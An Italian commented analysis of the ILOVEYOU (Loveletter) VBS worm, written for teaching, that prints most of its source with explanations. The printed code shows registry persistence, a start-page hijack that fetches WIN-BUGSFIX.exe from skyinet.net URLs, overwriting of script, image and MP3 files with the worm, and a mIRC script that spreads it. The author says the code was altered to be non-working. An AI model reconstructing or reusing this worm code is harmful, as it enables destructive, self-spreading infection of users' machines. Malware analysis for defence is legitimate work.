CODICE I LOVE YOU COMMENTATO
N.B. Il codice riportato è stato volontariamente modificato per
renderlo non funzionante e viene analizzato a scopo didattico
Il codice del worm è facilmente visibile in quanto uno script VBS contiene
le istruzione Visual basic "in chiaro" cioè non compilate. E'
sufficiente aprire il file del virus in un editor di testi per visualizzare il
codice.
Analizzare il codice di questo virus ha diversi scopi utili, tra cui scoprire
come difendersi meglio da questo worm, come rimediare ai danni che provoca
oppure mettere alla prova le proprie capacità di programmazione e di conoscenza
del linguaggio.
Le prime righe del codice del virus sono dedicate ai commenti e
alle impostazioni di alcune variabili che poi saranno usate nel programma.
Il primo commento inserito nel codice sorgente
del virus è:
rem barok -loveletter(vbe)
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
La frase "i hate go to school" significa
"odio andare a scuola” (da notare che però la lettera
"i", quando indica la prima persona, in inglese dovrebbe essere
scritta in maiuscolo).
Il nickname dell'autore sembra essere "spyder" appartenente
al @GRAMMERSGroup di Manila, nelle Filippine. La parola "Spyder"
forse è stata scelta per l'assonanza con "spider", ovvero
"ragno" in inglese.
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
La riga 10 costituisce la chiamata alla sub main() che da il
via vero e proprio all'attività del virus.
Il codice è composto da 8 subroutines i cui nomi sono:
e dalle tre funzioni:
Descrizione delle azioni
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows
ScriptingHost\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs") files
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
La sub main() imposta alcune variabili usate nelle
successive routine e crea nell'ordine i tre files "MSKernel32.vbs",
"Win32DLL.VBS" e LOVE-LETTER-FOR-YOU.TXT.vbs". Il primo e il
terzo vengono inseriti nella directory di sistema di Windows (SYSTEM in Win9x o
SYSTEM32 in WinNT) mentre il secondo finisce nella directory di Windows.
In seguito vengono lanciate le seguenti routines:
regruns()
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\
Microsoft\InternetExplorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-
BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\StartPage","about:blank"
end if
end sub
La sub regruns() inserisce nel registro due chiavi
che fanno eseguire all'avvio del sistema i due script
"MSKernel32.vbs" e "Win32DLL.vbs". Inoltre individua la
directory impostata di default per lo scaricamento dei files da internet e
verifica che esista il file "WinFAT32.exe" nella directory di
Windows. Se quest'ultimo file esiste, il virus modifica (attraverso il
Registro) la Pagina Iniziale di MS Internet Explorer inserendo la URL del file
"WIN-BUGFIX.EXE" posto in una sottodirectory del sito www.skyinet.net .
La sub verifica poi l'esistenza del file WIN-BUGSFIX.exe nella directory
predefinita per il download e imposta il Registro per eseguirlo a ogni avvio
del computer. Dopodiché la Pagina Iniziale di Internet Explorer diventa
"about:blank"
html
html()La routine html()
crea una pagina HTML contente il codice virale nella directory di Windows con
il nome "LOVE-LETTER-FOR-YOU.HTM". Questa pagina verrà poi usata dal
virus per infettare altri utenti attraverso mIRC.
spreadtoemail()
La sub spreadtoemail() legge gli indirizzi e-mail nella rubrica del client
predefinito MAPI e prepara per ognuno una e-mail con le seguenti caratteristiche
con oggetto "ILOVEYOU" e testo nel corpo "kindly check the attached LOVELETTER
coming from me.". Al messaggio viene allegato il file "LOVE-LETTER-FOR-
YOU.TXT.vbs" contenuto nella directory di Windows "\WINDOWS\SYSTEM\LOVE-
LETTER-FOR-YOU.TXT.vbs" e lo invia.
listadriv()
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
listadriv() analizza i drivers
presenti nel disco e per ogni unità esegue la funzione folderlist .
infectfiles(folderspec)
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
infectfiles(folderspec) si occupa di individuare
tutti i files con scrtipts o fogli di stile (*.vbs, *.vbe, *.js, *.jse, *.css,
*.wsh, *.sct, *.hta) e ne sostituisce il codice con una copia integrale del
virus.
Le immagini JPEG (*.jpg, *.jpeg) e i files sonori in MP3 e MP2 (*.mp2, *.mp3)
vengono sovrascritti da un file avente lo stesso nome, estensione *.vbs e, come
contenuto nuovo una copia del codice
virale.
Questa routine, inoltre cerca la presenza del software mIRC,
uno dei più diffusi per l'uso delle Internet relay Chat e crea nella sua
cartella un file di nome "SCRIPT.INI". Questo scirpt contiene i
comandi per inviare ai propri interlocutori una copia di
"LOVE-LETTER-FOR-YOU.HTM" che è una pagina html contente ancora una
copia del virus.
regcreate(regkey,regvalue)
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
Questo virus, nonostante il grande clamore suscitato, in effetti,
non era né particolarmente sofisticato né pericoloso.
La maggior parte degli utenti di PC sa (o dovrebbe sapere) che gli allegati di
posta elettronica non vanno MAI aperti prima di essere sicuri del loro
contenuto, vanificando così l'azione del virus alla fonte. La possibilità di
analizzare semplicemente il codice virale, inoltre, ha permesso un rapido
studio del virus e delle contromisure per combatterlo.
Purtroppo, sfruttando opportunamente alcune caratteristiche dei Mail reader
avanzati con MS Outlook, è possibile forzare il software all'apertura dei file
in allegato senza la necessità dell'avvio manuale.